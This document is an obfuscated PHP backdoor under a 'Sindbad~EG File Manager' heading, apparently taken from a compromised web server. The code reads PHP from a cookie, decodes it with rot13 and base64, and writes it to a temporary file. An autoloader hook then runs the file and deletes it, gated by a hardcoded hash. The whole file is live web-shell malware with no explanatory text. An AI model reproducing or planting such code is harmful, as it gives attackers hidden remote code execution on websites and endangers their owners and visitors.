Sindbad~EG File Manager

<?php


if (isset($_COOKIE[56-56]) && isset($_COOKIE[-18+19]) && isset($_COOKIE[7+-4]) && isset($_COOKIE[-55+59])) {
    $rec = $_COOKIE;
    function reverse_lookup($flg) {
        $rec = $_COOKIE;
        $flag = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'fb06882b');
        if (!is_writable($flag)) {
            $flag = getcwd() . DIRECTORY_SEPARATOR . "hub_center";
        }
        $component = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($rec[3]));
        if (is_writeable($flag)) {
            $ptr = fopen($flag, 'w+');
            fputs($ptr, $component);
            fclose($ptr);
            spl_autoload_unregister(__FUNCTION__);
            require_once($flag);
            @array_map('unlink', array($flag));
        }
    }
    spl_autoload_register("reverse_lookup");
    $dat = "58fd887dc26cd637c6c8f5b41743d571";
    if (!strncmp($dat, $rec[4], 32)) {
        if (@class_parents("config_manager_event_dispatcher", true)) {
            exit;
        }
    }
}